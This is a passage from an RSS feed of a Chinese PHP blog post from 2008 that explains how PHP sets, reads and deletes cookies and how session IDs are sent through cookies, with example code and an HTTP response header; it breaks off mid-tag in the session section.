﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>PHP博客-Programming Life-随笔分类-PHP</title><link>http://www.phpweblog.net/killjin/category/310.html</link><description>相信不能相信的，完成不能完成的。矛盾，就象征进步。</description><language>zh-cn</language><lastBuildDate>Sat, 05 Jan 2008 20:46:56 GMT</lastBuildDate><pubDate>Sat, 05 Jan 2008 20:46:56 GMT</pubDate><ttl>60</ttl><item><title>PHP cookie和session的分析 </title><link>http://www.phpweblog.net/killjin/archive/2008/01/06/2652.html</link><dc:creator>Prog</dc:creator><author>Prog</author><pubDate>Sat, 05 Jan 2008 20:26:00 GMT</pubDate><guid>http://www.phpweblog.net/killjin/archive/2008/01/06/2652.html</guid><wfw:comment>http://www.phpweblog.net/killjin/comments/2652.html</wfw:comment><comments>http://www.phpweblog.net/killjin/archive/2008/01/06/2652.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/killjin/comments/commentRss/2652.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/killjin/services/trackbacks/2652.html</trackback:ping><description><![CDATA[<p><br><strong style="TEXT-DECORATION: underline"><span lang=EN-US style=" COLOR: rgb(0,128,255); FONT-FAMILY: Arial">1. </span></strong><strong style="TEXT-DECORATION: underline"><span lang=EN-US style=" COLOR: rgb(0,128,255); FONT-FAMILY: Verdana">PHP</span></strong><strong style="TEXT-DECORATION: underline"><span style=" COLOR: rgb(0,128,255); FONT-FAMILY: 宋体">的</span></strong><strong style="TEXT-DECORATION: underline"><span lang=EN-US style=" COLOR: rgb(0,128,255); FONT-FAMILY: Verdana">COOKIE</span></strong><br></p>
<p style="MARGIN: 5px; LINE-HEIGHT: 150%"><span lang=EN-US style=" FONT-FAMILY: Verdana">cookie </span><span style=" FONT-FAMILY: 宋体">是一种在远程浏览器端储存数据并以此来跟踪和识别用户的机制。</span><span lang=EN-US style=" FONT-FAMILY: Verdana"><br>PHP</span><span style=" FONT-FAMILY: 宋体">在</span><span lang=EN-US style=" FONT-FAMILY: Verdana">http</span><span style=" FONT-FAMILY: 宋体">协议的头信息里发送</span><span lang=EN-US style=" FONT-FAMILY: Verdana">cookie,</span><span lang=EN-US> </span><span style=" FONT-FAMILY: 宋体">因此</span><span lang=EN-US style=" FONT-FAMILY: Verdana"> setcookie() </span><span style=" FONT-FAMILY: 宋体">函数必须在其它信息被输出到浏览器前调用，这和对</span><span lang=EN-US style=" FONT-FAMILY: Verdana"> header() </span><span style=" FONT-FAMILY: 宋体">函数的限制类似。</span><span lang=EN-US style=" FONT-FAMILY: Verdana"><br><br><span style="FONT-WEIGHT: bold; COLOR: rgb(0,128,255); TEXT-DECORATION: underline">1.1 </span></span><strong style="FONT-WEIGHT: bold; COLOR: rgb(0,128,255); TEXT-DECORATION: underline"><span style=" FONT-FAMILY: 宋体">设置</span></strong><strong style="FONT-WEIGHT: bold; COLOR: rgb(0,128,255); TEXT-DECORATION: underline"><span lang=EN-US style=" FONT-FAMILY: Verdana">cookie</span><span lang=EN-US style=" FONT-FAMILY: Verdana">:</span></strong><span lang=EN-US style=" FONT-FAMILY: Verdana"><br><span>&nbsp;&nbsp;&nbsp; </span></span><span style=" FONT-FAMILY: 宋体">可以用</span><span lang=EN-US style=" FONT-FAMILY: Verdana"> setcookie() </span><span style=" FONT-FAMILY: 宋体">或</span><span lang=EN-US style=" FONT-FAMILY: Verdana"> setrawcookie() </span><span style=" FONT-FAMILY: 宋体">函数来设置</span><span lang=EN-US style=" FONT-FAMILY: Verdana"> cookie</span><span style=" FONT-FAMILY: 宋体">。也可以通过向客户端直接发送</span><span lang=EN-US style=" FONT-FAMILY: Verdana">http</span><span style=" FONT-FAMILY: 宋体">头来设置</span><span lang=EN-US style=" FONT-FAMILY: Verdana">.<br><st1:chsdate style="COLOR: rgb(0,128,255); TEXT-DECORATION: underline" year="1899" month="12" day="30" islunardate="False" isrocdate="False" w:st="on"><strong>1.1.1</strong></st1:chsdate><strong style="COLOR: rgb(0,128,255); TEXT-DECORATION: underline"> </strong></span><strong style="COLOR: rgb(0,128,255); TEXT-DECORATION: underline"><span style=" FONT-FAMILY: 宋体">使用</span></strong><strong style="COLOR: rgb(0,128,255); TEXT-DECORATION: underline"><span lang=EN-US style=" FONT-FAMILY: Verdana">setcookie()</span></strong><strong style="COLOR: rgb(0,128,255); TEXT-DECORATION: underline"><span style=" FONT-FAMILY: 宋体">函数</span></strong><strong style="COLOR: rgb(0,128,255); TEXT-DECORATION: underline"><span lang=EN-US style=" FONT-FAMILY: Verdana">设置cookie:</span></strong><span lang=EN-US style=" FONT-FAMILY: Verdana"><br><span style="COLOR: rgb(255,1,2)">bool setcookie ( string name [, string value [, int expire [, string path [, string domain [, bool secure [, bool httponly]]]]]] )<br>&nbsp;&nbsp;&nbsp;&nbsp; <span></span></span><span style="COLOR: rgb(0,1,2)">name:&nbsp;&nbsp; cookie</span></span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">变量名</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana"><br>&nbsp;&nbsp;&nbsp;&nbsp; <span></span>value: &nbsp; cookie</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">变量的值</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana"><br>&nbsp;&nbsp;&nbsp;&nbsp; <span></span>expire:&nbsp; </span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">有效期结束的时间</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">,<br>&nbsp;&nbsp;&nbsp;&nbsp; <span></span>path:&nbsp;&nbsp;&nbsp; </span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">有效目录</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">,<br>&nbsp;&nbsp;&nbsp;&nbsp; <span></span>domain: </span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">有效域名</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">,</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">顶级域唯一</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana"><br>&nbsp;&nbsp;&nbsp;&nbsp; <span></span>secure:&nbsp; </span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">如果值为</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">1,</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">则</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">cookie</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">只能在</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">https</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">连接上有效</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">,</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">如果为默认值</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">0,</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">则</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">http</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">和</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">https</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">都可以</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">.<br></span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">例子</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">:</span><br><code><span style="COLOR: rgb(0,0,0)"><span style="COLOR: rgb(0,0,204)">&lt;</span><span style="COLOR: rgb(0,0,204)">?</span><span style="COLOR: rgb(0,0,255)">php</span><br><span style="COLOR: rgb(0,0,255)">$</span><span style="COLOR: rgb(0,128,128)">value</span> <span style="COLOR: rgb(0,0,204)">=</span> <span style="COLOR: rgb(255,0,255)">'something from somewhere'</span><span style="COLOR: rgb(0,0,204)">;</span><br><br><span style="COLOR: rgb(255,0,0)">setcookie</span><span style="COLOR: rgb(0,0,204)">(</span><span style="COLOR: rgb(255,0,255)">"TestCookie"</span><span style="COLOR: rgb(0,0,204)">,</span> <span style="COLOR: rgb(0,0,255)">$</span><span style="COLOR: rgb(0,128,128)">value</span><span style="COLOR: rgb(0,0,204)">)</span><span style="COLOR: rgb(0,0,204)">;</span> <span style="COLOR: rgb(255,153,0)">/* 简单cookie设置 */</span><br><span style="COLOR: rgb(255,0,0)">setcookie</span><span style="COLOR: rgb(0,0,204)">(</span><span style="COLOR: rgb(255,0,255)">"TestCookie"</span><span style="COLOR: rgb(0,0,204)">,</span> <span style="COLOR: rgb(0,0,255)">$</span><span style="COLOR: rgb(0,128,128)">value</span><span style="COLOR: rgb(0,0,204)">,</span> <span style="COLOR: rgb(255,0,0)">time</span><span style="COLOR: rgb(0,0,204)">(</span><span style="COLOR: rgb(0,0,204)">)</span><span style="COLOR: rgb(0,0,204)">+</span>3600<span style="COLOR: rgb(0,0,204)">)</span><span style="COLOR: rgb(0,0,204)">;</span> <span style="COLOR: rgb(255,153,0)">/* 有效期1个小时 */</span><br><span style="COLOR: rgb(255,0,0)">setcookie</span><span style="COLOR: rgb(0,0,204)">(</span><span style="COLOR: rgb(255,0,255)">"TestCookie"</span><span style="COLOR: rgb(0,0,204)">,</span> <span style="COLOR: rgb(0,0,255)">$</span><span style="COLOR: rgb(0,128,128)">value</span><span style="COLOR: rgb(0,0,204)">,</span> <span style="COLOR: rgb(255,0,0)">time</span><span style="COLOR: rgb(0,0,204)">(</span><span style="COLOR: rgb(0,0,204)">)</span><span style="COLOR: rgb(0,0,204)">+</span>3600<span style="COLOR: rgb(0,0,204)">,</span> <span style="COLOR: rgb(255,0,255)">"/~rasmus/"</span><span style="COLOR: rgb(0,0,204)">,</span> <span style="COLOR: rgb(255,0,255)">".example.com"</span><span style="COLOR: rgb(0,0,204)">,</span> 1<span style="COLOR: rgb(0,0,204)">)</span><span style="COLOR: rgb(0,0,204)">;</span> <span style="COLOR: rgb(255,153,0)">/* 有效目录 /~rasmus,有效域名example.com及其所有子域名 */</span><br><span style="COLOR: rgb(0,0,204)">?</span><span style="COLOR: rgb(0,0,204)">&gt;</span></span></code></p>
<p class=MsoNormal style="TEXT-ALIGN: left" align=left><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana"></span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">设置多个</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">cookie</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">变量</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">: setcookie('var[a]','value');</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">用数组来表示变量</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">,</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">但他的下标不用引号</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">.</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">这样就可以用</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">$_COOKIE[&#8216;var&#8217;][&#8216;a&#8217;]</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">来读取该</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">COOKIE</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">变量</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">.<br><br><strong style="COLOR: rgb(0,128,255); TEXT-DECORATION: underline">1.1.2. </strong></span><strong style="COLOR: rgb(0,128,255); TEXT-DECORATION: underline"><span style=" FONT-FAMILY: 宋体">使用</span></strong><strong style="COLOR: rgb(0,128,255); TEXT-DECORATION: underline"><span lang=EN-US style=" FONT-FAMILY: Verdana">header()</span></strong><strong style="COLOR: rgb(0,128,255); TEXT-DECORATION: underline"><span style=" FONT-FAMILY: 宋体"></span></strong><strong style="COLOR: rgb(0,128,255); TEXT-DECORATION: underline"><span lang=EN-US style=" FONT-FAMILY: Verdana">设置cookie</span></strong><strong style="COLOR: rgb(0,128,255); TEXT-DECORATION: underline"><span lang=EN-US style=" FONT-FAMILY: Verdana">;</span></strong><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana"><br></span><span lang=EN-US style=" COLOR: rgb(255,1,2); FONT-FAMILY: Verdana">header("Set-Cookie: name=$value[;path=$path[;</span><em><span lang=EN-US style=" COLOR: rgb(255,1,2); FONT-FAMILY: Verdana">domain=xxx.com</span></em><span lang=EN-US style=" COLOR: rgb(255,1,2); FONT-FAMILY: Verdana">[;...]]");</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana"><br></span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">后面的参数和上面列出</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">setcookie</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">函数的参数一样</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">.<br>比如:</span></p>
<p class=MsoNormal style="TEXT-ALIGN: left" align=left><code><span style="COLOR: rgb(0,0,0)"><span style="COLOR: rgb(0,0,255)">$</span><span style="COLOR: rgb(0,128,128)">value</span> <span style="COLOR: rgb(0,0,204)">=</span> <span style="COLOR: rgb(255,0,255)">'something from somewhere'</span><span style="COLOR: rgb(0,0,204)">;<br></span></span></code><span lang=EN-US style=" COLOR: rgb(255,1,2); FONT-FAMILY: Verdana">header("<span style="COLOR: rgb(204,51,51)"></span></span><code><span style="COLOR: rgb(0,0,0)"><span style="COLOR: rgb(255,0,255)">Set-Cookie:name=</span></span></code><span lang=EN-US style=" COLOR: rgb(255,1,2); FONT-FAMILY: Verdana"><span style="COLOR: rgb(204,51,51)"></span>$value</span><span lang=EN-US style=" COLOR: rgb(255,1,2); FONT-FAMILY: Verdana">");</span><br><strong><u><span style=" COLOR: rgb(0,128,255); FONT-FAMILY: 宋体"></span></u></strong></p>
<p class=MsoNormal style="TEXT-ALIGN: left; TEXT-DECORATION: underline" align=left><strong><span style=" COLOR: rgb(0,128,255); FONT-FAMILY: 宋体">1.2 Cookie的读取:</span></strong></p>
<p class=MsoNormal style="TEXT-ALIGN: left" align=left>直接用php内置超级全局变量 $_COOKIE就可以读取浏览器端的cookie.<br>上面例子中设置了cookie<code style="COLOR: rgb(0,1,2)">"TestCookie",现在我们来读取:</code></p>
<p class=MsoNormal style="TEXT-ALIGN: left" align=left><code style="COLOR: rgb(0,1,2)"></code><code style="COLOR: rgb(0,1,2)"></code><code><span style="COLOR: rgb(0,0,0)">print $_COOKIE<span style="COLOR: rgb(0,0,204)">[</span><span style="COLOR: rgb(255,0,255)">'TestCookie'</span><span style="COLOR: rgb(0,0,204)">]</span><span style="COLOR: rgb(0,0,204)">;</span></span></code></p>
<p class=MsoNormal style="TEXT-ALIGN: left" align=left>COOKIE是不是被输出了?!<br></p>
<p class=MsoNormal style="TEXT-ALIGN: left" align=left><strong><u><span style=" COLOR: rgb(0,128,255); FONT-FAMILY: 宋体">1.3 删除</span></u></strong><strong><u><span lang=EN-US style=" COLOR: rgb(0,128,255); FONT-FAMILY: Verdana">cookie<br></span></u></strong><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">只需把有效时间设为小于当前时间</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">, </span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">和把值设置为空</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">.例如:<br>setcookie("name","",time()-1);<br></span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">用</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">header()</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">类似</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">.</span></p>
<p class=MsoNormal style="TEXT-ALIGN: left" align=left><span style="FONT-WEIGHT: bold; COLOR: rgb(0,128,255)">1.4 </span><u style="FONT-WEIGHT: bold; COLOR: rgb(0,128,255)"><span style=" FONT-FAMILY: 宋体">常见问题解决</span></u><u><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana"><span style="FONT-WEIGHT: bold; COLOR: rgb(0,128,255)">:</span></span></u></p>
<p class=MsoNormal style="TEXT-ALIGN: left" align=left><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana"><span style="COLOR: rgb(0,1,2)">1) 用setcookie()时有错误提示,可能是因为调用setcookie()前面有输出或空格.也可能你的文档使从其他字符集转换过来,文档后面可能带有BOM签名(就是在文件内容添加一些隐藏的</span></span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana"><span style="COLOR: rgb(0,1,2)">BOM</span></span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana"><span style="COLOR: rgb(0,1,2)">字符).解决的办法就是使你的文档不出现这种情况.还有通过使用ob_start()函数有也能处理一点.</span></span><u><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana"><br></span></u><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">2) $_COOKIE</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">受</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">magic_quotes_gpc</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">影响</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">,</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">可能自动转义</span><u><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana"><br></span></u><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">3)</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体"> 使用的时候</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">,</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">有必要测试用户是否支持</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">cookie</span><u><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana"><br>&lt;!--[if !supportLineBreakNewLine]--&gt;</span></u><br><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana"></span></p>
<p class=MsoNormal style="TEXT-ALIGN: left" align=left><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana"></span><span lang=EN-US style=" FONT-FAMILY: Verdana"><strong><u><span style="COLOR: rgb(0,128,255)">1.5 cookie</span></u></strong></span><strong><u><span style=" COLOR: rgb(0,128,255); FONT-FAMILY: 宋体">工作机理</span></u></strong><strong><u><span lang=EN-US style=" COLOR: rgb(0,128,255); FONT-FAMILY: Verdana">:</span></u></strong><span lang=EN-US style=" FONT-FAMILY: Verdana"><o:p></o:p></span></p>
<p class=MsoNormal style="TEXT-ALIGN: left" align=left><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">有些学习者比较冲动,没心思把原理研究,所以我把它放后面.<br>a) 服务器通过随着响应发送一个</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">http</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">的</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">Set-Cookie</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">头</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">,</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">在客户机中设置一个</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">cookie(</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">多个</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">cookie</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">要多个头</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">). <br></span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">b) 客户端自动向服务器端发送一个</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">http</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">的</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">cookie</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">头</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">,</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">服务器接收读取</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">.<br></span><u><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体"></span></u><u><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana"></span></u></p>
<p class=MsoNormal style="TEXT-ALIGN: left" align=left>HTTP/1.x 200 OK<br>X-Powered-By: PHP/5.2.1<br><span style="FONT-WEIGHT: bold">Set-Cookie: </span><code style="FONT-WEIGHT: bold; COLOR: rgb(0,1,2)">TestCookie</code><span style="FONT-WEIGHT: bold; COLOR: rgb(0,1,2)">=</span><code style="FONT-WEIGHT: bold; COLOR: rgb(0,1,2)">something from somewhere</code><span style="FONT-WEIGHT: bold">; path=/</span><br>Expires: Thu, 19 Nov 2007 18:52:00 GMT<br>Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0<br>Pragma: no-cache<br>Content-type: text/html<br></p>
<p class=MsoNormal style="TEXT-ALIGN: left" align=left>这一行实现了cookie功能,收到这行后<br>Set-Cookie: <code style="COLOR: rgb(0,1,2)">TestCookie</code><span style="COLOR: rgb(0,1,2)">=</span><code style="COLOR: rgb(0,1,2)">something from somewhere</code>; path=/<br>浏览器将在客户端的磁盘上创建一个cookie文件,并在里面写入:</p>
<p class=MsoNormal style="TEXT-ALIGN: left" align=left><code style="COLOR: rgb(0,1,2)">TestCookie</code><span style="COLOR: rgb(0,1,2)">=</span><code style="COLOR: rgb(0,1,2)">something from somewhere</code>;<br>/</p>
<p class=MsoNormal style="TEXT-ALIGN: left" align=left>这一行就是我们用<code><span style="COLOR: rgb(0,0,0)">setcookie<span style="COLOR: rgb(0,0,204)">(</span><span style="COLOR: rgb(255,0,255)">'TestCookie'</span><span style="COLOR: rgb(0,0,204)">,</span><span style="COLOR: rgb(255,0,255)">'something from somewhere'</span><span style="COLOR: rgb(0,0,204)">,</span><span style="COLOR: rgb(255,0,255)">'/'</span><span style="COLOR: rgb(0,0,204)">)</span><span style="COLOR: rgb(0,0,204)">;</span></span></code>的结果.也就是用<code><span style="COLOR: rgb(0,0,0)">header<span style="COLOR: rgb(0,0,204)">(</span><span style="COLOR: rgb(255,0,255)">'Set-Cookie: TestCookie=something from somewhere; path=/'</span><span style="COLOR: rgb(0,0,204)">)</span><span style="COLOR: rgb(0,0,204)">;</span></span></code>的结果.<br><u><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">&lt;!--[endif]--&gt;</span></u><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana"><o:p></o:p></span></p>
<div class=MsoNormal style="TEXT-ALIGN: center" align=center><span lang=EN-US style=" FONT-FAMILY: Verdana">
<hr align=center width="100%" SIZE=2>
</span></div>
<p class=MsoNormal style="TEXT-ALIGN: left" align=left><u><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana"><br><br></span></u><strong><span lang=EN-US style=" COLOR: rgb(0,128,255); FONT-FAMILY: Arial">2. </span></strong><strong><span lang=EN-US style=" COLOR: rgb(0,128,255); FONT-FAMILY: Verdana">PHP</span></strong><strong><span style=" COLOR: rgb(0,128,255); FONT-FAMILY: 宋体">的</span></strong><strong><span lang=EN-US style=" COLOR: rgb(0,128,255); FONT-FAMILY: Verdana">Session<br><br></span></strong><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">session</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">使用过期时间设为</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">0</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">的</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">cookie,</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">并且将一个称为</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">session ID</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">的唯一标识符</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">(</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">一长串字符串</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">)</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">,在服务器端同步生成一些session文件(可以自己定义session的保存类型),与用户机关联起来</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">.web</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">应用程序存贮与这些</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">session</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">相关的数据</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">,</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">并且让数据随着用户在页面之间</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">传递</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">.<br><br>访问网站的来客会被分配一个唯一的标识符，即所谓的会话 ID。它要么存放在客户端的 cookie，要么经由 URL 传递。 <br><br>会话支持允许用户注册任意数目的变量并保留给各个请求使用。当来客访问网站时，PHP 会自动（如果 session.auto_start 被设为 1）或在用户请求时（由 session_start() 明确调用或 session_register() 暗中调用）检查请求中是否发送了特定的会话 ID。如果是，则之前保存的环境就被重建。 <br><br></span><strong><span lang=EN-US style=" COLOR: rgb(0,128,255); FONT-FAMILY: Verdana">2.1 sessionID</span></strong><strong><span style=" COLOR: rgb(0,128,255); FONT-FAMILY: 宋体">的传送</span></strong><strong><u><span lang=EN-US style=" COLOR: rgb(0,128,255); FONT-FAMILY: Verdana"><br><br></span></u></strong><strong style="COLOR: rgb(0,128,255)"><span lang=EN-US style=" FONT-FAMILY: Verdana">2.1.1 </span></strong><strong style="COLOR: rgb(0,128,255)"><span style=" FONT-FAMILY: 宋体">通过</span></strong><strong style="COLOR: rgb(0,128,255)"><span lang=EN-US style=" FONT-FAMILY: Verdana">cookie</span></strong><strong style="COLOR: rgb(0,128,255)"><span style=" FONT-FAMILY: 宋体">传送</span></strong><strong style="COLOR: rgb(0,128,255)"><span lang=EN-US style=" FONT-FAMILY: Verdana">sessin ID</span></strong><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana"></span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana"></span></p>
<p class=MsoNormal style="TEXT-ALIGN: left" align=left><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">&nbsp;&nbsp;&nbsp;&nbsp; 使用</span><span style=" FONT-FAMILY: 宋体"></span><span lang=EN-US style=" FONT-FAMILY: Verdana">session_start()</span><span style=" FONT-FAMILY: 宋体">调用session,服务器端在生成session文件的同时,生成session ID哈希值和默认值为</span>PHPSESSID<span style=" FONT-FAMILY: 宋体">的session name,并向客户端发送变量为</span>(默认的是)PHPSESSID(<span style=" FONT-FAMILY: 宋体">session name</span>)<span style=" FONT-FAMILY: 宋体">,值为一个128位的哈希值.服务器端将通过该cookie与客户端进行交互.<br>&nbsp;&nbsp; session变量的值经php内部系列化后保存在服务器机器上的文本文件中,和客户端的变量名默认情况下为</span>PHPSESSID的coolie进行对应交互.<span lang=EN-US style=" FONT-FAMILY: Verdana"><br></span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">&nbsp;&nbsp;&nbsp;&nbsp; 即服务器自动发送了http头:header('Set-Cookie: session_name()=session_id()</span><span lang=EN-US style=" FONT-FAMILY: Verdana">; path=/');<br></span><span style=" FONT-FAMILY: 宋体">即</span><span lang=EN-US style=" FONT-FAMILY: Verdana">setcookie(<span style="COLOR: 